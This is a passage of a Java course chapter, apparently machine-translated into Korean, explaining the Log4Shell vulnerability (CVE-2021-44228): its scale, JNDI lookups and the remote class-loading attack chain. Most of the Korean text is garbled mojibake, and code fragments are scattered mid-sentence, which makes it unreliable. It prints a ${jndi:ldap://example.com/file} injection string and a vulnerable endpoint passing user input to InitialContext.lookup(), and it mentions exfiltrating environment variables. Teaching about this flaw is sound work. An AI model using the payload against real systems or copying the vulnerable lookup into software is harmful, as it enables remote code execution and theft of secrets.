7.1 ์ค์บ๋ค
๋ฌผ๋ก ์์ฃผ ์ต๊ทผ์ธ 2021๋ ๋ง์ ์ผ์ด๋ ์ด์ผ๊ธฐ๋ฅผ ๋งํ์ง ์๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํฉ๋๋ค.

๋ฏธ๊ตญ ์ฌ์ด๋ฒ ๋ณด์ ๋ฐ ์ธํ๋ผ ๋ณดํธ๊ตญ(CISA)์ ์ด ๋ฌธ์ ๊ฐ Log4Shell
์ญ์ฌ์ ๊ฐ์ฅ ์ฌ๊ฐํ ์ทจ์ฝ์ ์ค ํ๋๋ผ๊ณ ๋งํ์ต๋๋ค. ์, ์ฐ๋ฆฌ๋ ์ฐ๋ฆฌ๊ฐ ๊ฐ์ฅ ์ข์ํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ํด ์ด์ผ๊ธฐํ๊ณ ์์ต๋๋ค log4j
.
์ฐ๋ฆฌ์ ์๋ํ ์์ ๋์๊ด log4j
๊ณผ ์ญ์ฌ์ ๊ฐ์ฅ ํฐ ์ทจ์ฝ์ ? ํฅ๋ฏธ๊ฐ ์์ต๋๊น? ๊ทธ๋ผ ๋ค์ด๋ด.
7.2 ์ฌํด ๊ท๋ชจ
Log4Shell
Lunasec ๋ณด์ ์ ๋ฌธ๊ฐ๋ 2021๋
12์ 9์ผ ์น๋ช
์ ์ธ ์ทจ์ฝ์ (์ฝ๋ CVE-2021-44228)์ ๋ฐ๊ฒฌํ๋ค๊ณ ๋ฐํํ์ต๋๋ค. Apache Security Team Java ์ปค๋ฎค๋ํฐ์ ์ ๋ฌธ๊ฐ๊ฐ ์ด ์ ๋ณด๋ฅผ ํ์ธํ๊ณ ์ทจ์ฝํ Java ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ชฉ๋ก์ ๊ฒ์ํ์ต๋๋ค. ๋ชฉ๋ก์ ์์ฒญ๋ฌ์ต๋๋ค.
Java ํ๋ก์ ํธ๊ฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ log4j
์๋นํ ์ฝ๊ฒ ํดํน๋ ์ ์์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ ๊ฑฐ์ ๋ชจ๋ ์๋ฒ ์ํํธ์จ์ด๊ฐ ๊ฐ์ฅ ๋๋ฆฌ ์ฌ์ฉ๋๋ ์๋ฐ ๋ก๊ฑฐ๋ก ์์ฑ๋๋ค๋ ์ ์ ๊ฐ์ํ๋ฉด Java
๋ณด์ log4j
์ ๋ฌธ๊ฐ์ ๋ฐ๋ฅด๋ฉด ์ด ์ทจ์ฝ์ ์ ๊ธฐ์
ํด๋ผ์ฐ๋ ํ๊ฒฝ์ 93%์ ์ํฅ์ ๋ฏธ์ณค๋ค. Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam ๋ฑ์ ํฌํจํฉ๋๋ค.
๋ํ ์ด ์ทจ์ฝ์ ์ ์๋ฒ ์ํํธ์จ์ด๋ฟ๋ง ์๋๋ผ ๋ง์ Java ์ ํ๋ฆฌ์ผ์ด์ ๊ณผ ํ๋์จ์ด ์ ์กฐ์ ์ฒด์๋ ์ํฅ์ ๋ฏธ์ณค์ต๋๋ค. ์๋ฅผ ๋ค์ด ์ธํ ์ SDK, ์๋ฒ ์ ์ง ๊ด๋ฆฌ ์์คํ , Linux ๋๊ตฌ ๋ฑ 32๊ฐ์ ํดํน ๊ฐ๋ฅํ ํ๋ก๊ทธ๋จ ๋ชฉ๋ก์ ๊ฒ์ํ์ต๋๋ค.
Nvidia๋ ๋ํ DGX ์๋ฒ ๋ฐ NetQ ๋๊ตฌ๋ฅผ ์ธ๊ธํ๋ ๋ณด์ ๋ฌธ์ ๋ณด๊ณ ์๋ฅผ ๊ฒ์ํ์ต๋๋ค. Apple๊ณผ Microsoft์์ ๊ธด๊ธํ๊ฒ ์ฌ๋ฌ ๊ฐ์ง ์ ๋ฐ์ดํธ๋ฅผ ๋ฐํํ์ต๋๋ค.
๋๋ต์ ์ผ๋ก ๋งํ๋ฉด, ํ์ ๋ธ๋ผ์ฐ์ ์ ์ฃผ์ ํ์์ค์ ์๋ ํ ์ค์ ๋ก๊ฑฐ๊ฐ ์ด ์ค์ ๋จน์ ๊ฒฝ์ฐ ์๋ฒ์ ๋ฃ์ต๋๋ค (๋ง์ ์๋ฒ์์ ๋ชจ๋ ๊ฒ์ด ๊ธฐ๋ก๋จ HTTP-requests
).
์ฝ๋๋ฅผ ๋ถ์ํ ๊ฒฐ๊ณผ, ์ทจ์ฝ์ ์ด 2013๋ ๋ถํฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์กด์ฌํ์์ด ๋ฐํ์ก์ง๋ง ์ด์ ์์ผ ์์์ฐจ๋ ธ์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ ๊ทธ๋ค์ด ๋ ๊น์ด ํ๊ธฐ ์์ํ์ ๋ ๊ทธ๋ค์ ๋ฐ๋ฅ์ด ์ ํ ๋ณด์ด์ง ์๋ ์ฌ์ฐ์ ๋ฐ๊ฒฌํ์ต๋๋ค.
7.3 ์ญ์ฌ์ ๊ฐ์ฅ ์ฌ๊ฐํ ์ทจ์ฝ์
2021๋
12์ ๋ฏธ๊ตญ CISA(Cybersecurity and Infrastructure Protection Agency)๋ ์ญ์ฌ์ ๊ฐ์ฅ ์ฌ๊ฐํ ์ทจ์ฝ์ ์ค ํ๋๋ผ๊ณ ๋ฐํ ์ต๋๋ค .Log4Shell
๋ค๋ฅธ ๋ง์ ์ ๋ฌธ๊ฐ๋ค๋ ๋น์ทํ ์๊ฒฌ์ ํ๋ช ํฉ๋๋ค . ๋ชจ๋ ์ฌ๋์ด ์ด ์ทจ์ฝ์ ์ ๋ํด ์๊ณ ์์ผ๋ฉฐ ๋ชจ๋ ์ฐ๋ น๋์ ํด์ปค๊ฐ ์ด๋ฏธ ์ด ์ทจ์ฝ์ ์ ์ฌ์ฉํ์ฌ ๋ค์ํ ์กฐ์ง์ ๋ํ ๊ฐ์ธ ๋ฐ์ดํฐ ๋ฐ ๊ธฐํ ์ ํ์ ๊ณต๊ฒฉ์ ํ์น๊ณ ์์ต๋๋ค. ์์ผ๋ก ์ฐ๋ฆฌ๋ ๋๊ท๋ชจ ํดํน๊ณผ ๋ฐ์ดํฐ ์ ์ถ์ ๋ฌผ๊ฒฐ์ ๊ธฐ๋ค๋ฆฌ๊ณ ์์ต๋๋ค.
์ฌ๋์ ๊ท๋ชจ๋ Log4j์ ๋ํ ๋ฐ์ด ์๋ ๋ณ๋์ ์ฌ์ดํธ๊ฐ ์๊ณ ๋งค์ผ ์๋ก์ด ์ฌ์ง์ด ์๋ค๋ ์ฌ์ค๋ง์ผ๋ก๋ ๊ฐ๋ ํ ์ ์์ต๋๋ค .

์ด ๋ฌธ์ ๋ ์ค๋ซ๋์ ์ฐ๋ฆฌ์ ํจ๊ปํ์ต๋๋ค. ์์ต ๋๋ ์๋๋๋ผ๋ ์๋ฐฑ๋ง ๋์ ์ปดํจํฐ ์์คํ ์ ์กด์ฌํ๋ ๋ณด์ ํ์ . ๋ชจ๋ ์ค๋๋ ์ํํธ์จ์ด๋ฅผ ์ ๋ฐ์ดํธํ๊ณ ์ต์ํ ์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๊ต์ฒดํด์ผ ํฉ๋๋ค. ๊ทธ๋ฌ๋ ๋๋ถ๋ถ์ ๊ฒฝ์ฐ ์ํํธ์จ์ด์์ ์ด๋ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ฒ์ ์ด ์ฌ์ฉ๋๋์ง ์๋ฌด๋ ๋ชจ๋ฆ ๋๋ค.
์ผ๋ฐ์ ์ผ๋ก ์ปดํจํฐ ๋ณด์ ์ ๋ฌธ๊ฐ์ ๊ธ์ฌ๊ฐ ๊ธ๊ฒฉํ ์ฆ๊ฐํ ๊ฒ์ผ๋ก ์์๋ฉ๋๋ค.
7.4 ์ทจ์ฝ์ฑ์ ํน์ฑ
์ทจ์ฝ์ ์ ๋ณธ์ง์ ์ดํดํ๋ ค๋ฉด ๋๊ท๋ชจ ์๋ฒ ์์คํ ์ด ์ด๋ป๊ฒ ๋ฐฐ์ด๋์ด ์๋์ง ์ดํดํด์ผ ํฉ๋๋ค. ์ข ์ข ์ด๋ฌํ ์๋ฒ ์์ฉ ํ๋ก๊ทธ๋จ์ ์๋ก ๋ค๋ฅธ ์๋ฒ์ ์๋ ์๋ก ๋ค๋ฅธ ์๋น์ค๋ก ๋๋ฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ JNDI ์๋น์ค๋ ์ํธ์์ฉ์ ๋์ต๋๋ค.
JNDI(Java Naming and Directory Interface)๋Java API
์ด๋ฆ์ผ๋ก ๊ฐ์ฒด/์๋น์ค๋ฅผ ์กฐํํ๋ ๊ฒ ์
๋๋ค . ์ด๋ฌํ ๊ฐ์ฒด๋ RMI(Remote Method Invocation), CORBA(Common Object Request Broker Architecture), LDAP(Lightweight Directory Access Protocol) ๋๋ DNS(Domain Name Service)์ ๊ฐ์ ๋ค์ํ ์ด๋ฆ ์ง์ ์๋น์ค ๋๋ ๋๋ ํ ๋ฆฌ์ ์ ์ฅํ ์ ์์ต๋๋ค.
Java API
๊ทธ๊ฒ์ผ๋ก ์์
ํ๋ ๊ฒ์ ๋งค์ฐ ๊ฐ๋จํฉ๋๋ค. ์๋น์ค ์ด๋ฆ์ด๋ผ๋ ํ๋์ ๋ฌธ์์ด ๋งค๊ฐ ๋ณ์๋ง ์ฌ์ฉํ๋ ๊ฐ๋จํ ๊ฒ์
๋๋ค . ์ด๋ฅผ ํตํด ๋ชจ๋ ์๋น์ค์ ์ฐ๋ฝํ์ฌ ์์
์ ์์ฒญํ๊ฑฐ๋ ์ผ๋ถ ๋ฐ์ดํฐ๋ฅผ ๋ณด๋ผ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด ๋ฌธ์์ด์ ๋ฌธ์์ด์ ์ง์ ๋ ${jndi:ldap://example.com/file}
this์์ ๋ฐ์ดํฐ๋ฅผ ๋ก๋ํฉ๋๋ค .URL
๋งค๊ฐ๋ณ์๊ฐ ์ ๋ขฐํ ์ ์๋ ์์ค์์ ์จ ๊ฒฝ์ฐ ์๊ฒฉ ํด๋์ค ๋ก๋ฉ ๋ฐ ํ์ฌ ์ฝ๋ ์คํ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค . . Log4j
_ ๊ณต๊ฒฉ์๋ ๋จ์ํ ํผํด์์ Java ์์ฉ ํ๋ก๊ทธ๋จ์ ์
์์ ์ธ ์์ฉ ํ๋ก๊ทธ๋จ์ผ๋ก ์ง์ rmi/ldap/corba-server
ํ๊ณ ๊ทธ์ ๋ํ ์๋ต์ผ๋ก ์
์ฑ ๊ฐ์ฒด๋ฅผ ๋ฐ์ต๋๋ค.
๊ธฐ์ ์ ์ผ๋ก ์ฌ๊ธฐ์ ๋ฌธ์ ๋ log4j
๋ผ์ด๋ธ๋ฌ๋ฆฌ ์์ฒด ์ ์๋ ๊ฒ์ด ์๋๋ผ JNDI-service
. ์ด๋ค ์ข
๋ฅ์ ๋ฌธ์์ด์ ์ ๋ฌํ๋์ง ํญ์ ํ์ธํด์ผ ํฉ๋๋ค InitialContext.lookup()
.
์ทจ์ฝํ ์ JNDI-applications
:
@RequestMapping("/lookup") @Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}
7.5 ๋๋ฌด ๋๋ํ ๋์๊ด
๊ทธ๋ฆฌ๊ณ ์ด๋์ log4j
๋ฌผ์ด๋ณด๋์? ๋ฌธ์ ๋ ๊ฐ๋ฐ์๊ฐ ๊ฐ๋ฅํ ํ ํธ์ํ๊ฒ ์์
ํ๊ณ ์ค๋งํธ ๋ก๊น
์ ์ถ๊ฐํ๊ธฐ๋ฅผ ์ํ๋ค๋ ๊ฒ์
๋๋ค. ์๋ ๋ฐฉ์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
์ด ๋ชจ๋ ๊ฒ์ ๋ก๊ทธ ๋ฉ์์ง๋ฅผ ํตํด ๋ฐ์ดํฐ๊ฐ ๋์ฒด๋๋ ํ ํ๋ฆฟ์ ์ค์ ํ ์ ์๋ค๋ ์ฌ์ค์์ ์์๋์์ต๋๋ค. ์๋ฅผ ๋ค๋ฉด ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
log.debug(โUser {user} has {count} friendsโ, user, count);
๋ฐ์ดํฐ ๋์ฒด๊ฐ ์๋ ์ด์ ๋ฒ์ ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
log.debug( โUser โ+user +โ has โ+ count +โ friendsโ);
2013๋
์๋ ๋ทฐ ํ
ํ๋ฆฟ์ ์ง์ ๋ ์ค๋งํธ ์ ๋์ฌ ๋์ฒด๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ถ๊ฐ๋์์ต๋๋ค ${prefix:name}
. ์๋ฅผ ๋ค์ด ๋ฌธ์์ด โ${java:version}โ
์ ยซJava version 1.7.0_67ยป
. ์ค ์ผ๋ง๋ ํธ๋ฆฌํฉ๋๋ค.
์ธ์๋๋ ํํ์ ์ค์๋ ${jndi:<lookup>}
jndi ํ๋กํ ์ฝ ๋ค์์ ํตํด ๊ฒ์์ ์ง์ ํ ์ ์๋ ์์น LDAP
๊ฐ URL-address
์์ต๋๋ค Java
.
์ด๊ฒ์ ์ ์ฒด ์ ๊ทผ ๋ฐฉ์์ ํ์ค ๋ฌธ์ ์
๋๋ค JDK
. URL ํ์์ผ๋ก ์ค์ ํ ์ ์๋ ๋งํฌ์ธ ๊ฐ์ฒด๋ฅผ ์๋์ผ๋ก ์ญ์ง๋ ฌํํฉ๋๋ค. ์ด ๊ฒฝ์ฐ ๊ฐ์ฒด์ ๋ฐ์ดํฐ๋ฟ๋ง ์๋๋ผ ํด๋น ํด๋์ค์ ์ฝ๋๋ ์๊ฒฉ ๋ฆฌ์์ค์์ ๋ก๋๋ฉ๋๋ค.
ํดํน์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
- ์ ์ฑ ์ฝ๋๊ฐ ํฌํจ๋ ํ์ผ ๋ค์ด๋ก๋
- ํ์ผ์ ์ง๋ ฌํ
Java an object
(๋ฐ ํด๋น ํด๋์ค)๊ฐ ํฌํจ๋จ - ํด๋์ค๊ฐ ๋ก๋ ์ค์
๋๋ค.
Java-machine
- ์ ์ฑ ํด๋์ค์ ๊ฐ์ฒด๊ฐ ์์ฑ๋จ
- ๊ฐ์ฒด์ ์์ฑ์๊ฐ ํธ์ถ๋ฉ๋๋ค.
- ์์ฑ์์ ์ ์ ์ด๊ธฐํ ๋ชจ๋ ์ ์ฑ ํด๋์ค ์ฝ๋ ์คํ ํ์ฉ
๊ธฐ๋ก ์ค์ธ ๋ผ์ธ์ log4j
์ด์ ๊ฐ์ ๊ฒ์ด ์์ผ๋ฉด ์ธํฐ๋ท์ ์ฐ๊ฒฐํ ๋${jndi:ldap://example.com/file}
์ฌ๊ธฐ log4j
์์ ๋ฐ์ดํฐ๋ฅผ ๋ค์ด๋ก๋ํฉ๋๋คURL-address
. ๊ธฐ๋ก๋ ๋ฌธ์์ด์ ์
๋ ฅํ๋ฉด ๊ณต๊ฒฉ์๊ฐ ๊ณต์ฉ URL-address
.
๋ฐ์ดํฐ ์คํ์ด ๋นํ์ฑํ๋ ๊ฒฝ์ฐ์๋ ๊ณต๊ฒฉ์๋ ๋น๋ฐ ํ๊ฒฝ ๋ณ์์ ๊ฐ์ ๋ฐ์ดํฐ๋ฅผ ์ ๋ฐฐ์นํ์ฌ ์ด๋ฅผ URL-address
๋์ฒดํ๊ณ ๊ณต๊ฒฉ์์ ์๋ฒ๋ก ์ ์กํจ์ผ๋ก์จ ๋ฐ์ดํฐ๋ฅผ ์ป์ ์ ์์ต๋๋ค.
์ข์ ์์์ ๋ฌธ์ ๊ฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ์ ์ํ๊ฒ ์์ ๋์๋ค๋ ๊ฒ์ ๋๋ค .
๋์ ์์์ ์ ์ธ๊ณ ์๋ฐฑ๋ง ๋์ ์๋ฒ๊ฐ ์ฌ์ ํ ์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ด์ ๋ฒ์ ์ ์คํํ๊ณ ์๋ค๋ ๊ฒ์ ๋๋ค .
GO TO FULL VERSION